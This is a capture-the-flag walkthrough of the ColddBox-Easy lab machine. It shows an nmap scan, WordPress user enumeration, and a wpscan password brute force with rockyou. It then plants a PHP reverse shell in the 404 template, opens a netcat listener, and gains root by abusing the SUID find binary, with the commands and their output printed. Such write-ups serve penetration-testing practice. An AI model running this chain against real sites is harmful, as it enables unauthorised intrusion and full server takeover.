Lets begin with a nmap scan to identify open ports.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-07 00:21 CET Nmap scan report for 10.10.x.x Host is up (0.049s latency). Not shown: 999 closed ports PORT STATE SERVICE 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds
So the only open port is port 80, lets check out what’s on the site.
Ok, we got a WordPress site with very little content, one page, one post and one comment. Time to scan with wpscan to see if we can find anything interesting.
[+] WordPress version 4.1.31 identified (Insecure, released on 2020-06-10). [+] WordPress theme in use: twentyfifteen | [!] The version is out of date, the latest version is 2.8
Checking out vulnerabilities for the WordPress version gives us nothing, and the only vulnerability for the theme is a XSS. Lets try to enumerate users with wpscan.
[i] User(s) Identified: [+] the cold in person | Found By: Rss Generator (Passive Detection) [+] hugo | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] c0ldd | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] philip | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)
Now we’re getting somewhere. Three users are found that we can try to use in a password attack. Running an attack with wpscan and using rockyou results in a password for c0ldd.
[+] Performing password attack on Wp Login against 3 user/s [SUCCESS] - c0ldd / *****
Logging in with the credentials we now have admin access to the WordPress site.
Getting a shell
Now that we have admin privileges we can edit the PHP templates used by WordPress.
We could use this to replace one of the pages, for example the 404 Template with a reverse shell script like php-reverse-shell.
All we have to do now is to start a netcat listener
nc -lvp 5555 on our machine with and then trigger the 404.php script by entering some non existent post id, like http://10.10.x.x/?p=22. When doing this we get a connection to our netcat session.
listening on [any] 5555 ... connect to [10.x.x.x] from (UNKNOWN) [10.10.x.x] 53008 Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 01:18:59 up 58 min, 0 users, load average: 0.00, 0.18, 2.48 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Now we got a reverse shell, but we need root privileges in order to access the root flag. Lets start by figuring out how we could do that. Finding all SUID binaries with
find / -uid 0 -perm -4000 -type f 2>/dev/null gives us the following list of possible targets.
/bin/su /bin/ping6 /bin/ping /bin/fusermount /bin/umount /bin/mount /usr/bin/chsh /usr/bin/gpasswd /usr/bin/pkexec /usr/bin/find /usr/bin/sudo /usr/bin/newgidmap /usr/bin/newgrp /usr/bin/newuidmap /usr/bin/chfn /usr/bin/passwd /usr/lib/openssh/ssh-keysign /usr/lib/snapd/snap-confine /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
$ find . -exec /bin/sh -p \; -quit # whoami root # cd /root # ls root.txt # cat root.txt <root-flag> # cd /home # ls c0ldd # cd c0ldd # ls user.txt # cat user.txt <user-flag>